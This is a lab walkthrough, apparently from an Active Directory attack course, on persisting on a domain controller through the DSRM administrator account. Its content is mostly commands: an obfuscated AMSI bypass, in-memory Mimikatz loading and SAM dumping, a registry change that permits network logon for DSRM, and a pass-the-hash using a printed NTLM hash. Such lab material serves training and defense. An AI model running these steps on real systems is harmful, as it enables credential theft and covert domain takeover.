# Obj 11 DSRM

{% hint style="success" %}
We can persist with administrative access on the DC once we have Domain Admin privileges by abusing the DSRM administrator. With the domain admin privileges obtained earlier, run the following commands on the DC to open a PowerShell remoting session. As always, remember that we could use other tools like SafetyKatz, BetterSafetyKatz etc.
{% endhint %}

### Start a new session on the DC

```
PS C:\AD\Tools\Tools> $sess = New-PSSession dcorp-dc.dollarcorp.moneycorp.local
PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess
```

### Disable AMSI on the DC

```
[dcorp-dc.dollarcorp.moneycorp.local]:PS C:\Users\svcadmin\Documents> S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

### Back on the host machine Load Mimikatz into memory on the $sess

```
PS C:\AD\Tools\Tools> Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess
```

### Enter back into the PSSession on the DC

```
PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess
```

### Dump the creds of the DC with Mimikatz

```
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
```

{% hint style="warning" %}
The DSRM administrator is not allowed to logon to the DC from network. So we need to change the logon behavior for the account by modifying registry on the DC. We can do this as follows:
{% endhint %}

### Modify the registry on the DC

```
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
```

{% hint style="warning" %}
Now from our local system we can just pass the hash for the DSRM administrator:
{% endhint %}

### Pass the hash

```
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd  /run:powershell.exe"'
```

{% hint style="success" %}
We can now access the dcorp-dc directly from the new session.
{% endhint %}

### Access the DC

```
PS C:\Windows\System32> ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
```
